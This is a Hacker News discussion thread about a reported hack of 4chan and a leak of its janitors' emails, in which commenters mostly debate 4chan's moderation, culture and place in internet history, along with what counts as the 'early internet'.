[HN Gopher] 4chan Sharty Hack And Janitor Email Leak
___________________________________________________________________
4chan Sharty Hack And Janitor Email Leak
Author : LookAtThatBacon
Score : 641 points
Date : 2025-04-15 11:30 UTC (1 days ago)
(HTM) web link (knowyourmeme.com)
(TXT) w3m dump (knowyourmeme.com)
| CamelCaseName wrote:
| If you lamented the disappearance of the "old internet", well,
| this was a part of it, and now it may be gone too.
|
| The title is also a fair bit understated.
|
| They're leaking the moderators home addresses and work contact
| info (for admins, who are(were?) paid moderators)
| GaggiX wrote:
| Do you think that 4chan is going to disappear forever for this?
| Just wait a bit and it will be back.
|
| Also where did you see that they are leaking home addresses and
| work contact info? I think they just leaked the emails (I don't
| understand why home addresses and work contact info should be
| present in the 4chan database, everyone moderating the site for
| free).
| LightBug1 wrote:
| I'm not up to speed - but isn't that a free-speech absolutist
| site?
| jsheard wrote:
| Mostly, but the few restrictions they do have led to even
| absolutist-er spinoffs like 8chan being founded.
| GaggiX wrote:
| Every website that allows content uploaded by users have
| moderators, you can be absolutist as you want but you can't
| allow CP for example, you also need to handle DMCA (unless
| you live in a country that couldn't care less).
| ltbarcly3 wrote:
| No, it's mostly a cancer survivors support group. Every
| third post was about cancer, what is causing it, and frank
| expressions of helplessness in the face of it.
|
| About half the posts were pornography, racist rants, or
| memes making fun of someone, often for being mentally
| handicapped.
|
| Five percent was accusing the moderators of sleeping on the
| job.
|
| Edit: I love that people are down-voting this, it really
| shows how much people like to have an opinion even while
| they can't recognize even the most obvious things that
| requires any information about the subject.
| BoxOfRain wrote:
| My understanding is the cancer was mostly killing bees.
| sznio wrote:
| depends on the board you're browsing, if you're discussing
| gardening you won't have issues with the far-right
| krapp wrote:
| There are no true free speech absolutist sites on the open
| internet. To run a site under free speech absolutist
| principles would require allowing and refusing to moderate
| illegal content.
|
| People like to confuse "free speech absolutism" for
| "tolerating right-wing speech" because the free speech
| absolutist narrative has been pushed by right-wing
| accelerationists, but every site has its limits, even
| 4chan.
| h2zizzle wrote:
| And you don't even need to go that far. Off-topic posts
| could result in a swift 3-day ban. There were even words
| and phrases that could get you autobanned the second you
| hit submit.
| ogurechny wrote:
| "Illegal" where? There's a lot of different illegal stuff
| in a lot of different countries.
|
| The elephant in the room is that USA appointed itself as
| a policeman for the whole network. Demands of its state
| and business entities are _somehow_ tied to the fact that
| there is no true free speech on the open internet.
| snvzz wrote:
| 4chan has global rules and board-specific rules.
|
| Racism, hate speech in general, as well as anything
| illegal, will quickly result in deletion and IP ban.
|
| The site will also, as it's obvious, cooperate with
| authorities, when it comes to crimes.
|
| 4chan is far from being a free-speech absolutist site.
| 14 wrote:
| But it has much less of a barrier to post things. You do
| not need an email or a phone number you can just post.
| And an IP ban will only be effective to prevent the
| average user. Still though things get removed and
| moderated and I am okay with that. Having seen some of
| the telegram groups and the misinformation they spread
| was a crazy eye opener during covid times.
| pelagicAustral wrote:
| Isn't it a running joke that the Jannies don't get paid?
| aloha2436 wrote:
| I'm reliably informed they do it for free.
| throw_m239339 wrote:
| > Isn't it a running joke that the Jannies don't get paid?
|
| You're think about reddit and why it is the way it is from an
| editorial perspective and what kind of people have the time
| to mods 100+ subs for free...
|
| But that ceased to be true long ago. While some of the
| supermods aren't paid by reddit directly, they might be paid
| by other orgs to mod and influence reddit, corporate or
| 'grass root'...
|
| Some others simply hijack subs to sell their own products.
| pc86 wrote:
| What does Reddit have to do with this?
|
| "Jannies" (janitors) are pseduo-mods on 4chan (the subject
| of the linked thread) who clean up posts and do other work,
| for free. Actual 4chan mods are paid.
| lurk2 wrote:
| > Actual 4chan mods are paid.
|
| As far back as I can remember they were also volunteers.
| When did hiro start paying people?
| gnarlynarwhal42 wrote:
| Go back.
|
| The joke on 4chins actually is that the Jannies do it for
| free. Never cared to fact check it, but it is a popular
| saying.
|
| Also sage in all fields
| robobro wrote:
| The initial leaker is most likely not the same parties as the
| ones tying email addresses and usernames to people's "real
| identities", if you look at the thread where the leak was
| announced.
|
| Say what you will about 4chan but I am concerned for the team
| managing it - them and their close ones are certainly going to
| be exposed to a whole lot of viciousness soon :(
| pjc50 wrote:
| > them and their close ones are certainly going to be exposed
| to a whole lot of viciousness soon
|
| Isn't viciousness the notorious bread and butter of 4chan?
| morkalork wrote:
| Live by the sword, die by the sword I would say. You don't
| get to enjoy raising leopards and also get to be surprised
| when you become lunch one day
| brookst wrote:
| They certainly don't get to claim any kind of moral high
| ground, but as a bystander I can feel empathy for someone
| hit by a drunk driver, even if the victim had driven
| drunk before in the past.
|
| Any increase in human suffering is unfortunate,
| regardless of one's take on just desserts or karma or
| whatever.
| soVeryTired wrote:
| I'd say it's more like a high-profile NRA member getting
| shot. Unfortunate but it's hard to miss the irony.
| robobro wrote:
| Most boards on 4chan, like the origami board, food and
| cooking, pets and animals, retro gaming, toys, etc are
| relatively harmless and are just a different way to
| participate in discussions than using discord or reddit.
|
| The staff has cut down a lot on organized harassment that
| 4chan was notorious for in recent years. Those people
| migrated to private discords, telegrams, and other forums
| (like kiwi farms, soy party, etc). Ex, #gamergate was
| mostly an 8chan, Twitter, reddit, and IRC phenomenon - #gg
| people would get banned if they tried posting about it on
| 4chan
| a0123 wrote:
| Damn, the culture they have bred and actively maintained is
| now going to be turned against them?
|
| It might end up making them more sympathetic people on the
| long term. They might realise the seriousness of what they
| have done to others.
| wegfawefgawefg wrote:
| the serious crime of... deleting egregious posts from a
| website
| weard_beard wrote:
| While a precise estimate is difficult to gauge it is
| supposed by professional analysts that a majority of hacks
| are state sponsored.
|
| If the hacker is a state actor then I don't think anyone
| has learned anything about Free Speech.
| dialup_sounds wrote:
| "The culture" of 4chan varies from board to board and even
| thread to thread.
| y-curious wrote:
| You don't like to lump people into groups by race/country
| of origin but find no cognitive dissonance in lumping
| people together by platform choice.
| theossuary wrote:
| "Wow, you'd group people by their actions and beliefs but
| not by immutable characteristics they were born with?!"
| /s
| 52-6F-62 wrote:
| One of those is something people are born into without
| choice. The other is chosen because of their tastes.
| DrillShopper wrote:
| Yes.
|
| People can _leave_ the platform. They can 't leave their
| race.
| ogurechny wrote:
| That's just the view of bureaucratic machines which
| prefer to have some stable identifier in the relevant
| field on paper form (it doesn't matter if it's for ethnic
| cleansing or "celebrating diversity"), and then shape the
| reality until it fits.
|
| Even though it might be hard to ignore the well-budgeted
| choir of well-intentioned promoters of status quo, you
| still don't have to believe in this concept.
| JKCalhoun wrote:
| I think we can lament the old internet and still care nothing
| for 4chan.
| idiotsecant wrote:
| Like it or not, 4chan was a major hub of Internet culture.
| Especially early on some of the best stuff on the internet
| happened on 4chan (and a good chunk of the worst, of course)
| vlovich123 wrote:
| 4chan was founded in 2003. I think reasonable people
| probably disagree on what constitutes the "early" internet
| and this is where the argument is. Google had been around
| for 5 years by this point and I (and I suspect many others)
| remained blissfully unaware of 4chan for a long time after
| 2003.
| ArinaS wrote:
| I think anything before Frutiger Aero became popular (and
| it didn't in 2003) can be considered "early" Internet.
| vlovich123 wrote:
| I hope you realize the irony of picking an arbitrary OS
| theme, something that has no correlation to the Internet
| in any way, as a meaningful point in the history of the
| Internet.
|
| As I said it's all arbitrary. I might pick the time
| around Google's founding as the early Internet, others
| might pick Yahoo, others might pick anything before
| eternal September.
| rob wrote:
| You're trying to argue that 2003 isn't the early
| Internet. Seems like you're trying to have your
| "Ackchyually..." moment right now because you didn't know
| 4chan existed.
| vlovich123 wrote:
| No, I'm saying the Internet was already in mass adoption
| for the preceding decade. Talk to old timers and they'll
| reminisce that the early days of the internet were great
| until Eternal September in 93. Others will reminisce
| about the days of BBS. I'm saying "early internet" is a
| relative term that has more to do with the person
| interpreting than any objective definition.
| hollerith wrote:
| I put the start of the _mainstreaming_ of the internet in
| July 1993, the month a cartoon was published in the New
| Yorker captioned, "On the Internet, nobody knows you're
| a dog": https://en.wikipedia.org/wiki/On_the_Internet,_no
| body_knows_...
|
| Before then, it was quite unusual to see coverage of the
| internet by the mainstream press (and what coverage I saw
| took a theoretical or "far" view, i.e., as part of a
| discussion of governmental policy). After then, coverage
| exploded.
|
| This is an American perspective: the timing was probably
| different in other countries.
| BoingBoomTschak wrote:
| Let's just call it "pre Facebook/Twitter" Internet, then.
| Because that's what it is.
| acheron wrote:
| 2003 was _after the dot com boom and crash_. There is no
| possible definition of "early Internet" that can include
| 2003.
| tsumnia wrote:
| It's clearly when AOL started offering a monthly
| subscription for unlimited Internet usage.
| klodolph wrote:
| Frutiger Aero didn't exist before 2017.
| ArinaS wrote:
| It did since at least 2004[1].
|
| [1] - https://yenimedya.aydin.edu.tr/wp-
| content/uploads/2024/10/3....
| klodolph wrote:
| That's dated 2023... am I missing something? The
| aesthetic did not exist in 2004. It was created in the
| late 2010s by juxtaposing materials from the early 2000s.
| This created a _new_ style from old materials. The same
| way you might combine art deco motifs in new ways in the
| 1980s, inventing "art deco revival".
| ArinaS wrote:
| > " _The aesthetic did not exist in 2004_ "
|
| Well, this research states that " _Between 2004 and 2013,
| Frutiger Aero was influential in advertising, media,
| stock images, cinema, gaming, and spatial design_ ".
| That's page 4.
| klodolph wrote:
| There's no justification given or source cited. You can't
| just dig up a paper somebody wrote that agrees with you--
| you have to actually read the paper to understand what it
| says and what support it gives to that position.
|
| I see NO support for this position. No reasoning, no
| primary sources, no secondary sources, not even the
| personal experiences of the author.
|
| I have not seen any evidence that Frutiger Aero existed
| before 2017, and 2017 seems like the most likely creation
| date to me. That's when it was created, by combining
| materials from the 2000s in new ways. Call it
| "bricolage", perhaps.
|
| Addenda: if you scroll through Google Image search
| results for Frutiger Aero, you'll see what looks to me
| like an obvious _lack_ of actual materials from the
| 2000s. I see a screenshot of Windows XP, a screenshot of
| the Nintendo Wii home screen. Maybe a few other random
| screenshots of apps or web sites. As far as I can tell,
| Frutiger Aero was invented by taking these few materials
| and extrapolating a whole aesthetic movements out of it.
| I see a lot of artwork dated from the 2020s labeled as
| Frutiger Aero--that's the true nexus of the aesthetic,
| Gen Z adults recreating a half-remembered image from
| their childhoods. Which is fine. It's just not from 2004.
| Like how Vaporwave is not actually from the 1990s or
| 1980s, Vaporwave is from the mid-2010s. I love Vaporwave,
| but I know that it's not from the past; it's a modern
| remix of elements from the past.
| flobosg wrote:
| The term was coined that year but the actual style exists
| at least since, well, Windows Aero:
| https://en.wikipedia.org/wiki/Windows_Aero#Legacy
| alabastervlog wrote:
| Early Internet is before the Web was its main thing.
|
| Early Web is before most netizens (remember that?) had
| ever heard or seen the term "blog", and much of the web
| was folks' "home pages" on whatever weird topic they were
| interested in (some were effectively "blogging", but that
| wasn't a term yet--"web log" might see limited use). This
| was the Nerd Web.
|
| Mid-period is from the rise of "blog" to the rise of the
| smartphone, Google capitulating in the never-ending war
| on spammers and ruining itself instead, and Facebook
| coming about. Roughly '08 would be the end of this
| period. Call this the Macromedia Flash Web, perhaps.
|
| Everything since that is the Late, or Hellscape, Web, an
| age dominated to an extreme degree by spam, scams, ads,
| astroturfing, and absolute insanity becoming normalized
| and spilling over into real life. This is the part that
| made it clear we'd have been better off never inventing
| any of this.
| JKCalhoun wrote:
| Regardless of date bracketing, I can miss 80's punk and
| not miss slam dancing.
|
| Maybe someone can list some positive internet culture we
| got from 4chan that I am overlooking.
| doublerabbit wrote:
| 4chan is widely known for /b/ but it had and has much
| more than /b. /b was always known for its murk.
|
| Each chan sub category tended to their own niche
| community and rivalry was little.
|
| /f/ in its hayday was a wonderful creative group for
| Flash animations and with existent of NewGrounds made the
| internet fun. It's how I learnt flash and how YTMND came
| to be.
| matheusmoreira wrote:
| /g/ has a daily programming thread. I remember the
| SerenityOS developer used to post webm demos there. I
| remember seeing plenty of cool stuff.
|
| Someone on /vr/ once started a thread about SNES homebrew
| and actually made a /vr/ themed one. I wonder what
| happened to that guy.
| vermilingua wrote:
| /dpt/ was where i did a good deal of my learning during
| university, and the constant /g/entoo posting taught me
| _far_ more about Linux than I would have learned on my
| own or through uni.
| matheusmoreira wrote:
| /g/entoomen taught me a lot about Linux too. The desktop
| and home server threads also have a lot of gold, people
| put a lot of effort into their systems. There are even
| Lisp generals. I remember people attempting the advent of
| code together and posting progress. There was one person
| who used _a lot of_ Unicode in the source code.
|
| Just yesterday I saw a rather interesting discussion
| about WD HDD internals and possible ways to figure out
| whether they are SMR drives. Shame this hack cut it
| short.
|
| /tg/ had some seriously good chess players.
|
| There's a board for everything. People see 4chan and
| think everything is /pol/. If anything, it's /a/. People
| have been arguing over which waifu is best girl for 20
| years. _20 years._
| subjectsigma wrote:
| If you go look at Andreas' old videos from 5-6 years ago
| you can see early versions of Serenity had some sort of
| shortcut or app specifically for 4chan, with the clover
| icon and everything.
|
| There's actually a number of projects that started this
| way though I don't know of any that grew up to be as
| charming and interesting as Serenity OS. Katawa Shoujo is
| one, though I could definitely see people complaining
| about the games content. The Tox encrypted messenger is
| one but I'm not sure that ever went anywhere.
|
| I think most of them, like Andreas, dropped the
| association with 4chan pretty soon after the project
| started to gain real traction.
| matheusmoreira wrote:
| I remember seeing maybe two other operating system
| projects on /g/dpt/, they didn't reach significant
| maturity but managed to animate some graphics on the
| screen. I remember seeing a bullet hell game engine
| written in lisp, I think it was called gnumako or
| something along those lines.
|
| This was around 10 years ago...
| TheAceOfHearts wrote:
| That reminds me of this classic animation: 4chan city
| [0]. Which is based on a 2ch animation Nightmare City
| [1].
|
| [0] https://www.youtube.com/watch?v=Ar4WzQ7KHak
|
| [1] https://www.youtube.com/watch?v=Wjdi7a6L_78
| 1970-01-01 wrote:
| This is like saying death metal isn't upbeat music and
| therefore nothing of value is lost by censoring it. Why
| does 4chan have to be positive culture to be considered
| valuable culture?
| danaris wrote:
| There's a big difference between "upbeat music" and
| "positive culture".
|
| "Positive" in this sense isn't being used to mean
| "optimistic" or "happy". It's being used to mean "healthy
| for the world at large".
|
| Regardless of whether any of us agree that 4chan was a
| net-negative, it should be very clear that "music that
| doesn't have an upbeat sound or themes" is not inherently
| unhealthy, but "subcultures that are unhealthy for the
| world at large" _definitionally_ are.
| 1970-01-01 wrote:
| https://www.4chan.org/
|
| You're dismissing the entire site for a handful of
| events? How is 4chan unhealthy for the world, at large?
| It was and is a counterculture for discussing life as
| seen by its members.
| JKCalhoun wrote:
| They definitely have a PR issue then. Because of the
| _handful of events_ , I've never been interested in
| hanging out there.
|
| From some of the comments though, there might have been
| nice boards I would have enjoyed.
|
| HN works for me though. (I can only spread myself so
| thin.)
| 14 wrote:
| Yes there definitely have been some bad actors but you
| can get that anywhere. As a parent I have seen teens on
| snapchat make fun of a kid and it gets sent to the entire
| school. It can happen anywhere. And yes there are lots of
| nice chill parts of 4chan but also some that are
| questionable to most people's morals. But the freedom to
| say what you like on 4chan makes it a very powerful site
| for both good and bad or those who just don't want to
| risk their identity being know for criticizing politics
| as one example. Even here on HN you are restricted on
| what you can say as HN does have a few guidelines. But I
| do find HN has a pretty good balance with moderation most
| of the time. The voting system takes care of most of it.
| jrflowers wrote:
| > How is 4chan unhealthy for the world, at large?
|
| If you're interested in research, the _summary_ of
| controversies and harassment incidents that were worthy
| of the 4chan Wikipedia page(1) is over 2,000 words long
| and links to seven other separate Wikipedia entries, and
| may be a good start.
|
| Also it is very funny that this thread seems to be
| multiple different posters here insisting that the user
| JKCalhoun is wrong for not being a fan of 4chan and that
| personal opinion is somehow ahistorical and in need of
| correction. Like the goal here is to make that person
| post "You guys are right I actually like that website
| now" ?
|
| https://en.m.wikipedia.org/wiki/4chan
| kelipso wrote:
| I think the responses would've been different if he had
| made a personal statement rather than a general
| statement.
| jrflowers wrote:
| What post was that?
| kelipso wrote:
| https://news.ycombinator.com/item?id=43691576
| jrflowers wrote:
| This makes sense. This post that begins with "I think"
| wasn't a personal statement of opinion but rather an
| objective one becau
| danaris wrote:
| I'm not. I'm responding to the specific exchange between
| you and JKCalhoun. They implied that they didn't know of
| any positive culture from 4chan, and you took a sharp
| left turn by misusing "positive"--taking a different
| meaning of it and comparing that against death metal
| music, rather than engaging with the actual meaning of
| what JKCalhoun had said.
|
| I was simply helping to clarify the semantic issue at
| hand. I don't have enough personal knowledge of 4chan to
| pass judgement on it one way or another.
| numpad0 wrote:
| Are there no big list of memes on 4chan? If you took an
| intersection of that and list of memes in general, you
| should be able to derive a list and statistical summary
| figures for internet culture you've got from 4chan.
| subjectsigma wrote:
| I might be giving 4chan too much credit but I think in
| your analogy it's more akin to 80's punk (broad
| subculture) than slam dancing (specific cultural
| phenomenon).
|
| The way I see it, I lost interest in 4chan because I grew
| up and became an adult, and so did most of the Internet.
| We can look back and appreciate our childhood overall
| while also cringing at the embarrassing parts. 4chan has
| a lot of both good and bad memories for me and I think
| the broader Internet as well.
| JKCalhoun wrote:
| I guess then I'm showing my age. I was already beginning
| 40 years of age when 4chan became a thing.
| tanepiper wrote:
| 4chan: Because even Something Awful had some kind of
| flawed moral compass
| tonfreed wrote:
| So did 4chan, god help you if you abused a cat
| shadowgovt wrote:
| There are some things not even Doom music can fix.
| username332211 wrote:
| Funny. The moral compass of most people on the internet
| tends to be disordered enough to make me think Something
| Awful must have been truly horrific.
|
| For far too many people "I have a moral compass" seems to
| mean "I don't even have the self-awareness to realize
| what I'm doing is evil".
| snvzz wrote:
| You seem to be confusing 4chan (chaotic good) with
| kiwifarms aka the farms, the true evil descendant of
| Something Awful (which was chaotic neutral).
| arkh wrote:
| Yup, ytmnd predates it a couple year.
| rjbwork wrote:
| r9k is the origin of a huge amount of modern youth
| culture and slang. The obsessive vanity and
| "looksmaxxing" and all the associated terminology comes
| directly out of the incel culture on that board. It is
| extremely mainstream now.
| xeromal wrote:
| I think that's simply which generation is talking. I'm an
| average (oldish?) millenial and 2003 is about that sweet
| spot of when I cut my teeth on the web. I was online
| before getting my butt kicked by koreans on starcraft but
| I can find old posts of mine starting in those early
| 2000s.
| wegfawefgawefg wrote:
| Many of the popular internet terms start on 4chan, and then
| move to reddit and the rest of the internet, and then
| eventually mainstream news, and 65 year olds mouths. This
| process takes about 3-5 years.
| sph wrote:
| Looking forward to grandparents sharing wojak memes on
| Facebook
| lurk2 wrote:
| They have been doing this for almost ten years now.
| ivan_gammel wrote:
| Small pedantic correction: "major hub of Internet culture"
| is "major subculture in English-speaking segment of
| Internet" (American segment?). In many other languages it
| was irrelevant.
| desumeku wrote:
| 4chan culture itself is derived from polish, finnish and
| japanese imageboard culture and 4chan has always had a
| large international userbase.
| ivan_gammel wrote:
| I'm sure it had. It doesn't mean it had equivalent
| influence. In many places people won't name it in their
| top 10 cultural phenomena of Internet of that period even
| if they would remember it, which is far from guaranteed.
| leemailll wrote:
| early belongs to slashdot
| vitaflo wrote:
| Early belongs to Usenet.
| emmelaich wrote:
| Fidonet! BBS!
| esseph wrote:
| It's so funny to read this.
|
| I've been involved in "internet culture" since the early to
| mid 90s.
|
| The only thing that I heard about that ever came out of
| 4chan was toxicity.
| dmonitor wrote:
| That's crazy. The whole "dank memes" thing and terms like
| based, boomer, wojak, and soy are all from channer
| culture. 4chan managed to brand gen Z as the "zoomer"
| generation. Its cultural pervasiveness is impossibly
| deep.
| doublerabbit wrote:
| Why? I am not pleased with the government forced pills such
| as TikTok, Twitter and other such shite shoved down my
| throat.
|
| You may enjoy the walled garden, I for one don't. Such sites
| gave you a hole to get away from the dystopian view that
| these gardens hold.
|
| They gave independence away from forced control.
| ArinaS wrote:
| > _" shoved down my throat."_
|
| Who shoves it down someone's throat though? I can't
| remember the last time I used tiktok, probably 3 or 4 years
| ago, and I don't feel like anyone forces me to.
| doublerabbit wrote:
| Vendors. Mobile phone providers, Television companies,
| News Corporations, Advertising companies.
|
| I am locked out from viewing reading groups unless I have
| a facebook account. I can't even read reviews on Amazon
| without a Amazon account.
|
| You do have the choice not to view, watch or use. And if
| you desire to create your own site for "social media" the
| uphill battle is so greatly regulated in their honour you
| can't due to not having the resources to do so.
|
| Have you read the new UK rule sheet for internet
| websites?
|
| How many sites do I visit where I get a Google popup
| asking if I want to sign in?
|
| Stack-overflow does this, Reddit does too.
| ArinaS wrote:
| > " _But if you desire to create your own site for social
| media the uphill battle is so great regulated in their
| honour, it 's not possible._"
|
| Fediverse exists quite successfully.
| doublerabbit wrote:
| You mean an open-twitter clone that caters to a very
| niche set of individuals? A complex system to work with.
|
| I hate the whole gimmick of 150 character messages.
| That's not independent like the web was once.
|
| Discord makes you pay to upload videos, sounds and those
| were all existing on MSN, Yahoo, A!M for free.
|
| Everyone at my school knew of NewsGrounds, mySpace, BeBo,
| LiveJournal. Me and my friends had hosted ProBoards
| forums where we used to discuss stuff. You can't even do
| that according to the new Ofcom laws.
| ArinaS wrote:
| > " _You mean an open-twitter clone that caters to a very
| niche set of individuals?_ "
|
| It's not just one instance and not even one frontend
| existing for what can be described as "fediverse".
| Decentralization is the whole point.
|
| > " _a very niche set of individuals?_ "
|
| Everything depends on the instance you're using. Some of
| them, like mastodon.social, are very active, others are
| not.
|
| > " _I hate the whole gimmick of 150 character messages_
| "
|
| Find a better instance. On the one I use it's 2k
| characters limit.
|
| > " _That 's not independent web like it was._"
|
| Yes, because it's a whole new level of independence.
| NewGrounds, Myspace and everything you mentioned are
| centralized platforms, which is practically vendor lock-
| in, because you're dependent on just one vendor for
| everything you do on these platforms, while on fediverse,
| you aren't. Instances are completely (except for showing
| posts from one another) independent from each other -
| there's no central "authority" controlling all of them
| like there would be on a centralized platform. Thousands
| of them exist for every frontend imaginable, and you can
| create one yourself.
| FMecha wrote:
| There is a reason why common people picked Bluesky
| instead of the fediverse.
| awkwardpotato wrote:
| The American government is actively working to move its
| communication exclusively to Twitter.[0]
|
| [0] https://www.wired.com/story/social-security-
| administration-r...
| jachee wrote:
| Not as much since Elon's bribery lost in Wisconsin. Even
| the SSA is denying that rumor:
| https://www.snopes.com/news/2025/04/15/ssa-using-x-
| communica...
| UberFly wrote:
| Wired is the ministry of truth apparently.
| balamatom wrote:
| I believe the term of art is "the Joneses".
| officeplant wrote:
| It's incredibly easy to just not use those websites. My
| throat remains surprisingly clear with no effort.
| Calinterman wrote:
| It actually isn't, have you ever tried attending any real
| life function? An account with Meta is almost a
| requirement to even get in the door.
| immibis wrote:
| Uh, yes? What kind of functions are you trying to attend?
| If you go to C3 and show people your Facebook account,
| you will rightfully be mocked (unless it's an admin
| account you're not supposed to have).
| protocolture wrote:
| Thats insane. I have never been carded for a meta account
| IRL.
| hellotheretoday wrote:
| If you live outside of a city in America you will be
| shocked how many community events are organized and
| advertised exclusively on Facebook, how many local
| businesses eschew any online presence aside from a
| Facebook page, etc. Some towns got into the internet in
| 2012-2015 and basically got stuck there.
| Calinterman wrote:
| You better believe 4chan is as much of a government space
| as those other social media sites are. Just because you
| don't have to give three forms of ID and a mobile phone
| number to post doesn't mean they're not involved.
|
| It's an illusion, a very believable one in an internet
| where billionaires try to goad you to include your name and
| address with every thing you post. I don't see why people
| care so much about Doxxing when every social media company
| makes them do it for free.
| mhh__ wrote:
| You can but I think it would make you quite dull
| seasluggy wrote:
| They in fact, do it for free.
| knowknow wrote:
| Is it considered part of it? From my understanding, the culture
| has changed significantly and post get auto deleted eventually,
| so it's not a good archive either. The only thing old about it
| is it's web design
| ltbarcly3 wrote:
| Posts always got auto deleted. Maybe you aren't familiar with
| how it worked.
| morkalork wrote:
| I haven't been there in like a decade but if nobody bumps
| your thread eventually your post falls off the last page
| and gets deleted no?
| robobro wrote:
| Yeah and if threads hit a certain reply count, they get
| bump locked.
| sznio wrote:
| the mechanics are old
|
| there's no other online community i know of that still allows
| fully anonymous posting
|
| the culture changed, but the "environment" causing the
| culture there to be the way it is still same as the original.
|
| the bump/delete mechanics work well to promote the most
| controversial, most engaging content, without any advanced
| statistics or ML.
|
| despite being a shitty place, i don't feel advertised to,
| spied or in any way abused _by the software itself_ while
| browsing it
| Shank wrote:
| > there's no other online community i know of that still
| allows fully anonymous posting
|
| Doesn't 8chan/kun still exist?
| TheAceOfHearts wrote:
| Posting on 4chan just kept becoming increasingly user
| hostile, especially for casual users, you had to be really
| determined to post something: posts started requiring 24
| hour email verification, and after that you had to wait ~10
| minutes before being allowed to post, and finally you had
| to complete a nearly impossible captcha which could lock
| you out from posting for an undetermined amount of time
| just for failing. It became apparent that the owners were
| pushing the gold pass pretty damn hard, and it's advertised
| on literally every board page.
| rasengan wrote:
| That's true. The captcha is impossible without the 4chan
| pass.
|
| soj.ooO [1] which is similar on the other hand doesn't
| have the captcha.
|
| [1] https://soj.ooO
| pc86 wrote:
| Not sure what this random unknown website has to do with
| 4chan. It's similar only insofar as both things let you
| post. Soj requires a sign-up so no anon posting at all,
| and the community structure is a pretty clear rip-off of
| Reddit with /p/[sub] instead of /r/[sub]
|
| What is your affiliation with it?
| zahlman wrote:
| https://news.ycombinator.com/threads?id=rasengan shows
| some previous shilling, FWIW.
| DrillShopper wrote:
| > there's no other online community i know of that still
| allows fully anonymous posting
|
| Usenet?
|
| It even has the issue of old posts disappearing when the
| retention at your UNIX system / ISP rolled over.
| nemomarx wrote:
| every board had it's own independent archiving service after
| a while, so board culture ended up stickier than the original
| design. there's some interesting stuff in there
| fny wrote:
| Where do you see info about personal info?
|
| I would presume Anon would which to remain anon.
| mattlondon wrote:
| I'd hardly call it the "old internet". It is _very_ niche, and
| has not been around that long really - like what 2003 or
| something? Nothing compared to e.g. Geocities which was early-
| mid 90s IIRC which I 'd argue had more relevance to people than
| 4chan.
| davedx wrote:
| Geocities was going strong in the late 90's too! My first
| homepage was hosted there on Tokyo Towers.
| MagicMoonlight wrote:
| 22 years is old. Nobody knows what geocities is, it has no
| relevance. It's like talking about brands of telegraph wire.
| crtasm wrote:
| Geocities was _the_ place to create and visit homepages for
| a large percentage of people using the internet in the 90s.
| You can see its influence in games such as Hypnospace
| Outlaw and modern hosts like Neocities.
| karn97 wrote:
| Hypnospace outlaw and neocities, both even less known lol
| crtasm wrote:
| What are the most popular games on Steam that focus on
| interacting with a 4chan-like website?
| sickofparadox wrote:
| There are none because people can just go on 4chan and
| post.
| dfxm12 wrote:
| "Old Internet" doesn't have a very defined meaning, but I
| think it has more to do with design and functionality than a
| hard date. While I don't think relevance matters, 4chan is
| much more relevant than you think. Having a niche is part of
| the old Internet. Websites used to be niche, but deep,
| instead of websites like Wikipedia, which are broad and
| shallow (compare the Castlevania dungeon [0] to the Wikipedia
| article for Castlevania, for example). Then compare 4chan's
| limited number of boards with reddit's endless subs. 4chan's
| design is early web 2.0, doesn't require you create an
| account, allows (pseudo) anonymous posting, content is mostly
| unfiltered, unmonetized, free & thought of as ephemeral, etc.
|
| 0 - https://castlevaniadungeon.net/dungeon.html
| mattlondon wrote:
| > 4chan's design is early web 2.0, doesn't require you
| create an account, allows (pseudo) anonymous posting,
| content is mostly unfiltered, unmonetized, free & thought
| of as ephemeral, etc.
|
| That is hardly unique. There are any number of phpbb (and
| other) boards that allow mostly the same that were/are/will
| continue to be the same. The only difference is the
| clientele and noteriaty, but I'd argue 4chan is basically
| the same thing as somethingawful is/was in that regard.
| People act like 4chan was this ground-breaking thing but it
| was just one of many many similar boards.
|
| Also for 4chan, you'd only go to 4chan to _go to 4chan_.
| People went to geocities and xoom and angelfire and _all
| the other_ old internet things for niche website content
| from individuals, not because of the site that hosted it.
| It 's like going to a bar to chat vs going to a library to
| study: going to the bar/4chan is an undeniable part of the
| culture, but let's not pretend it is anything significantly
| different amongst a constellation of other chat/forum sites
| (somethingawful, fark, ebaumsworld, discord, IRC etc etc
| etc)
| dfxm12 wrote:
| The point wasn't about if 4chan is unique.
| mattlondon wrote:
| Exactly.
| gilbetron wrote:
| "Pre Dot Com Bust" is a pretty good definition for "Old
| Internet".
| Klonoar wrote:
| This is the dumbest nitpick, but:
|
| _> 4chan 's design is early web 2.0_
|
| Web 2.0 (even early) was very JS heavy, coming down from
| the advent of Mootools/Prototype/etc and had a very
| specific visual design sense.
|
| 4chan is easily the last of the Web 1.0 sites, probably up
| there with Craigslist. They very much "just fucking work".
| Andrex wrote:
| Web 2.0 and before is now considered the old internet.
| johnnyjeans wrote:
| It is not very niche at all. 4chan served a gigantic volume
| of traffic.
| PhunkyPhil wrote:
| Side note: When you google "Geocities" the results are in
| comic sans
| imzadi wrote:
| I grew up on IRC, had sites on Geocities and Angelfire. That
| was the old internet people miss, not 4chan.
| happytoexplain wrote:
| _Was_ part of it. As somebody who has been trapped there since
| 2004, I 'd say it evolved into a part of the normal internet
| between 2010 and 2016 (i.e. it had already fully transformed
| before Trump's first term), where "normal internet" means being
| infested with uncle-on-Facebook-tier political posts, "jokes"
| where the punchline is "I hate my political enemies", etc.
| Creative irreverence was replaced with regular childishness.
|
| Mostly because, as more people came online, they mistook
| offensive humor for conservatism; and thought "counter-culture"
| meant "being opposed to the political party currently in
| power", rather than "being opposed to political parties".
| pjc50 wrote:
| > mistook offensive humor for conservatism
|
| Something happened in the post-2010 times along with the Tea
| Party, and offensive humor - especially overt racism - became
| a mainstream part of conservativism, all the way to the White
| House.
|
| > "jokes" where the punchline is "I hate my political
| enemies"
|
| Hence the laughter in the White House at refusing to follow
| the court order to return their political enemies from the
| overseas prison.
|
| 4chan may have died, but Trump is more the first 4chan
| President than Howard Dean was the first "internet
| candidate", and especially Musk the Twitter Presidential
| Vizir is the heir to this culture.
| johnnyjeans wrote:
| Incredibly spot-on and well-put.
| h2zizzle wrote:
| Considering that the people posting this "creative
| irreverence" were the same guys calling you a "stupid f*gg*t
| n*gger piece of sh*t" on Halo 2/3 and CS when they got
| noscoped from across the map or whatever, "It's just a joke"
| has always been somewhat suspect. It would be wrong to say
| that there was no element of tongue-in-cheek-iness and
| hyperbole, of course. It just wasn't completely innocent,
| broadly speaking.
|
| Of course, in a post-Bioshock Infinite world, there's really
| no excuse for not grokking how time and distance from the
| origins of a cultural behavior pattern can warp even well-
| meaning notions that aren't regularly re-examined and tuned
